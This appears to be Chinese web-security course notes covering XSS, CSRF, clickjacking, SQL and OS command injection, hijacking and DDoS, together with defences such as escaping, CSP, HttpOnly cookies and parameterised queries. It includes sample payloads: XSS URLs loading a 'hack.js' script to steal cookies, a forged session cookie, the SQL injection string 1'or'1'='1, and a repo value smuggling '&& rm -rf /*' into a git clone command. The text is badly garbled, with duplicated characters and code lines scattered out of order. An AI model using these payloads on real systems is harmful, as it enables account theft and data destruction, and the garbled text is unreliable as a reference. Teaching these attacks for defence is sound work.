XSS

XSS (Cross-Site Scripting),跨站脚本攻击,因为缩写和 CSS重叠,所以只能叫 XSS。跨站脚本攻击是指通过存在安全漏洞的Web⽹站注册⽤户的浏览器内运⾏⾮法的⾮本站点HTML标签或JavaScript进⾏的⼀种攻击。

跨站脚本攻击有可能造成以下影响:

  • 利⽤虚假输⼊表单骗取⽤户个⼈信息。
  • 利⽤脚本窃取⽤户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求。
  • 显示伪造的⽂章或图⽚。

XSS攻击分类

  • 反射型 - url参数直接注⼊
  1. // 普通
  2. http://localhost:3000/?from=china
  3. // alert尝试
  4. http://localhost:3000/?from=<script>alert(3)</script>
  5. // 获取Cookie
  6. http://localhost:3000/?from=<script src="http://localhost:4000/hack.js"> </script>
  7. // 短域名伪造 https://dwz.cn/
  8. // 伪造cookie⼊侵 chrome
  9. document.cookie="kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTUz NTY1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0="
  • 存储型 - 存储到DB后读取时注⼊ ```javascript // 评论

// 跨站脚本注⼊

  1. <a name="H2T7H"></a>
  2. ### XSS攻击的危害
  3. - 获取⻚页⾯数据
  4. - 获取Cookies
  5. - 劫持前端逻辑
  6. - 发送请求
  7. - 偷取⽹站的任意数据
  8. - 偷取⽤户的资料
  9. - 偷取⽤户的秘密和登录态
  10. - 欺骗⽤户
  11. <a name="cd6ab0c3"></a>
  12. ### 防范⼿手段
  13. ```javascript
  14. ejs转义⼩小知识

HEAD

0 禁⽌止XSS过滤。

  1. // 获取Cookie
  2. http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
  3. </script>
  1. // 短域名伪造 https://dwz.cn/
  1. // 伪造cookie⼊入侵 chrome
  2. document.cookie="kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTUz
  3. NTY1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0="

// 评论

  1. <script>alert( 1 )</script>
  1. // 跨站脚本注⼊入
  2. 我来了了<script src="http://localhost:4000/hack.js"></script>
  1. <% code %>⽤用于执⾏行行其中javascript代码;
  2. <%= code %>会对code进⾏行行html转义;
  3. <%- code %>将不不会进⾏行行转义
  1. ctx.set('X-XSS-Protection', 0 ) // 禁⽌止XSS过滤
  1. // http://localhost:3000/?from=<script>alert(3)</script> 可以拦截 但伪装⼀一下就不不⾏行行
  2. 了了

1 启⽤用XSS过滤(通常浏览器器是默认的)。 如果检测到跨站脚本攻击,浏览器器将清除⻚页⾯面(删除不不

安全的部分)。

1;mode=block 启⽤用XSS过滤。 如果检测到攻击,浏览器器将不不会清除⻚页⾯面,⽽而是阻⽌止⻚页⾯面加载。

1; report= (Chromium only)

启⽤用XSS过滤。 如果检测到跨站脚本攻击,浏览器器将清除⻚页⾯面并使⽤用CSP report-uri指令的功
能发送违规报告。

  1. CSP
  2. 内容安全策略略 (CSP, Content Security Policy) 是⼀一个附加的安全层,⽤用于帮助检测和缓解某
  3. 些类型的攻击,包括跨站脚本 (XSS) 和数据注⼊入等攻击。 这些攻击可⽤用于实现从数据窃取到
  4. ⽹网站破坏或作为恶意软件分发版本等⽤用途。
  5. CSP 本质上就是建⽴立⽩白名单,开发者明确告诉浏览器器哪些外部资源可以加载和执⾏行行。我们只
  6. 需要配置规则,如何拦截是由浏览器器⾃自⼰己实现的。我们可以通过这种⽅方式来尽量量减少 XSS
  7. 击。

转义字符

⿊黑名单

⽤用户的输⼊入永远不不可信任的,最普遍的做法就是转义输⼊入输出的内容,对于引号、尖括号、斜杠

进⾏行行转义

// 只允许加载本站资源

  1. Content-Security-Policy: default-src 'self'
  1. // 只允许加载 HTTPS 协议图⽚片
  2. Content-Security-Policy: img-src https://*
  1. // 不不允许加载任何来源框架
  2. Content-Security-Policy: child-src 'none'
  1. ctx.set('Content-Security-Policy', "default-src 'self'")
  2. // 尝试⼀一下外部资源不不能加载
  3. http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
  4. </script>

富⽂文本来说,显然不不能通过上⾯面的办法来转义所有字符,因为这样会把需要的格式也过滤掉。对

于这种情况,通常采⽤用⽩白名单过滤的办法,当然也可以通过⿊黑名单过滤,但是考虑到需要过滤的

标签和标签属性实在太多,更更加推荐使⽤用⽩白名单的⽅方式。

⽩白名单

  1. HttpOnly Cookie
  1. 这是预防XSS攻击窃取⽤用户cookie最有效的防御⼿手段。Web ⽤用程序在设置cookie时,将其
  2. 属性设为HttpOnly,就可以避免该⽹网⻚页的cookie被客户端恶意JavaScript窃取,保护⽤用户
  3. cookie信息。

2 、CSRF

  1. CSRF(Cross Site Request Forgery),即跨站请求伪造,是⼀一种常⻅见的Web攻击,它利利⽤用⽤用户已登
  2. 录的身份,在⽤用户毫不不知情的情况下,以⽤用户的名义完成⾮非法操作。
  3. ⽤用户已经登录了了站点 A,并在本地记录了了 cookie
  4. 在⽤用户没有登出站点 A 的情况下(也就是 cookie ⽣生效的情况下),访问了了恶意攻击者提供的引诱
  5. 危险站点 B (B 站点要求访问站点A)。
  6. 站点 A 没有做任何 CSRF 防御

CSRF攻击危害

利利⽤用⽤用户登录态

⽤用户不不知情

  1. function escape(str) {
  2. str = str.replace(/&/g, '&amp;')
  3. str = str.replace(/</g, '&lt;')
  4. str = str.replace(/>/g, '&gt;')
  5. str = str.replace(/"/g, '&quto;')
  6. str = str.replace(/'/g, '&#39;')
  7. str = str.replace(/`/g, '&#96;')
  8. str = str.replace(/\//g, '&#x2F;')
  9. return str
  10. }
  1. const xss = require('xss')
  2. let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>')
  3. // -> <h1>XSS Demo</h1>&lt;script&gt;alert("xss");&lt;/script&gt;
  4. console.log(html)
  1. response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")
  1. 登录 http://localhost:4000/csrf.html

完成业务请求

盗取⽤用户资⾦金金(转账,消费)

冒充⽤用户发帖背锅

损害⽹网站声誉

防御

  1. 禁⽌止第三⽅方⽹网站带Cookie - 有兼容性问题
  2. Referer Check - Https不不发送referer

验证码

3 、点击劫持 - clickjacking

  1. 点击劫持是⼀一种视觉欺骗的攻击⼿手段。攻击者将需要攻击的⽹网站通过 iframe 嵌套的⽅方式嵌⼊入⾃自⼰己
  2. 的⽹网⻚页中,并将 iframe 设置为透明,在⻚页⾯面中透出⼀一个按钮诱导⽤用户点击。

防御

X-FRAME-OPTIONS

X-FRAME-OPTIONS是⼀一个 HTTP 响应头,在现代浏览器器有⼀一个很好的⽀支持。这个 HTTP 响应头 就

  1. 是为了了防御⽤用 iframe 嵌套的点击劫持攻击。
  2. 该响应头有三个值可选,分别是
  3. DENY,表示⻚页⾯面不不允许通过 iframe 的⽅方式展示
  4. SAMEORIGIN,表示⻚页⾯面可以在相同域名下通过 iframe 的⽅方式展示
  5. ALLOW-FROM,表示⻚页⾯面可以在指定来源的 iframe 中展示

JS⽅方式

  1. app.use(async (ctx, next) => {
  2. await next()
  3. const referer = ctx.request.header.referer
  4. console.log('Referer:', referer)
  5. })

// 登录

  1. http://localhost:4000/clickjacking.html
  1. ctx.set('X-FRAME-OPTIONS', 'DENY')
  1. <head>
  1. 以上代码的作⽤用就是当通过 iframe 的⽅方式加载⻚页⾯面时,攻击者的⽹网⻚页直接不不显示所有内容了了。

SQL注⼊入

防御

所有的查询语句句建议使⽤用数据库提供的参数化查询接⼝口**,参数化的语句句使⽤用参数⽽而不不是将⽤用户

  1. 输⼊入变量量嵌⼊入到 SQL 语句句中,即不不要直接拼接 SQL 语句句。例例如 Node.js 中的 mysqljs 库的 query
  2. ⽅方法中的? 占位参数。
  1. <style id="click-jack">
  2. html {
  3. display: none !important;
  4. }
  5. </style>
  6. </head>
  7. <body>
  8. <script>
  9. if (self == top) {
  10. var style = document.getElementById('click-jack')
  11. document.body.removeChild(style)
  12. } else {
  13. top.location = self.location
  14. }
  15. </script>
  16. </body>

// 填⼊入特殊密码

  1. 1 'or' 1 '=' 1
  1. // 拼接后的SQL
  2. SELECT *
  3. FROM test.user
  4. WHERE username = 'laowang'
  5. AND password = '1'or'1'='1'

// 错误写法

  1. const sql = `
  2. SELECT *
  3. FROM test.user
  4. WHERE username = '${ctx.request.body.username}'
  5. AND password = '${ctx.request.body.password}'
  6. `
  7. console.log('sql', sql)
  8. res = await query(sql)
  1. 严格限制Web应⽤用的数据库的操作权限**,给此⽤用户提供仅仅能够满⾜足其⼯工作的最低权限,从⽽而
  2. 最⼤大限度的减少注⼊入攻击对数据库的危害
  3. 后端代码检查输⼊入的数据是否符合预期**,严格限制变量量的类型,例例如使⽤用正则表达式进⾏行行⼀一些
  4. 匹配处理理。
  5. 对进⼊入数据库的特殊字符(',",\,<,>,&,*,; 等)进⾏行行转义处理理,或编码转换**。基本上所
  6. 有的后端语⾔言都有对字符串串进⾏行行转义处理理的⽅方法,⽐比如 lodash 的 lodash._escapehtmlchar 库。

OS命令注⼊入

如果传⼊入的参数是会怎样

请求劫持

DNS劫持

顾名思义,DNS服务器器(DNS解析各个步骤)被篡改,修改了了域名解析的结果,使得访问到的不不是预期的

ip

  1. HTTP劫持
  2. 运营商劫持,此时⼤大概只能升级HTTPS了了

// 正确的写法

  1. const sql = `
  2. SELECT *
  3. FROM test.user
  4. WHERE username =?
  5. AND password =?
  6. `
  7. console.log('sql', sql, )
  8. res = await query(sql,[ctx.request.body.username, ctx.request.body.password])

OS命令注⼊入和SQL注⼊入差不不多,只不不过SQL注⼊入是针对数据库的,⽽而OS命令注⼊入是针对操作系统的。OS命令

  1. 注⼊入攻击指通过Web应⽤用,执⾏行行⾮非法的操作系统命令达到攻击的⽬目的。只要在能调⽤用Shell函数的地⽅方就有
  2. 存在被攻击的⻛风险。倘若调⽤用Shell时存在疏漏漏,就可以执⾏行行插⼊入的⾮非法命令。
  1. // 以 Node.js 为例例,假如在接⼝口中需要从 github 下载⽤用户指定的 repo
  2. const exec = require('mz/child_process').exec;
  3. let params = {/* ⽤用户输⼊入的参数 */};
  4. exec(`git clone ${params.repo} /some/path`);
  1. https://github.com/xx/xx.git && rm -rf /* &&

DDOS

  1. http://www.ruanyifeng.com/blog/2018/06/ddos.html 阮阮⼀一峰

distributed denial of service

DDOS 不不是⼀一种攻击,⽽而是⼀一⼤大类攻击的总称。它有⼏几⼗十种类型,新的攻击⽅方法还在不不断发明出来。⽹网
站运⾏行行的各个环节,都可以是攻击⽬目标。只要把⼀一个环节攻破,使得整个流程跑不不起来,就达到了了瘫痪
服务的⽬目的。

其中,⽐比较常⻅见的⼀一种攻击是 cc 攻击。它就是简单粗暴暴地送来⼤大量量正常的请求,超出服务器器的最⼤大承
受量量,导致宕机。我遭遇的就是 cc 攻击,最多的时候全世界⼤大概 20 多个 IP 地址轮流发出请求,每个地
址的请求量量在每秒 200 次~300次。我看访问⽇日志的时候,就觉得那些请求像洪⽔水⼀一样涌来,⼀一眨眼就是
⼀一⼤大堆,⼏几分钟的时间,⽇日志⽂文件的体积就⼤大了了100MB。说实话,这只能算⼩小攻击,但是我的个⼈人⽹网站
没有任何防护,服务器器还是跟其他⼈人共享的,这种流量量⼀一来⽴立刻就下线了了。

常⻅见攻击⽅方式

  1. SYN Flood
  2. 此攻击通过向⽬目标发送具有欺骗性源IP地址的⼤大量量TCP“初始连接请求”SYN数据包来利利⽤用TCP
  3. ⼿手。⽬目标机器器响应每个连接请求,然后等待握⼿手中的最后⼀一步,这⼀一步从未发⽣生过,耗尽了了进程
  4. 中的⽬目标资源。
  5. HTTP Flood
  6. 此攻击类似于同时在多个不不同计算机上反复按Web浏览器器中的刷新 - ⼤大量量HTTP请求泛滥服务器器,
  7. 导致拒绝服务。

防御⼿手段

- 备份⽹网站

备份⽹网站不不⼀一定是全功能的,如果能做到全静态浏览,就能满⾜足需求。最低限度应该可以显示公告,告诉

⽤用户,⽹网站出了了问题,正在全⼒力力抢修。

  • HTTP 请求的拦截 ⾼高防IP -靠谱的运营商 多个 Docker
    硬件 服务器器 防⽕火墙
  • 带宽扩容 + CDN
    提⾼高犯罪成本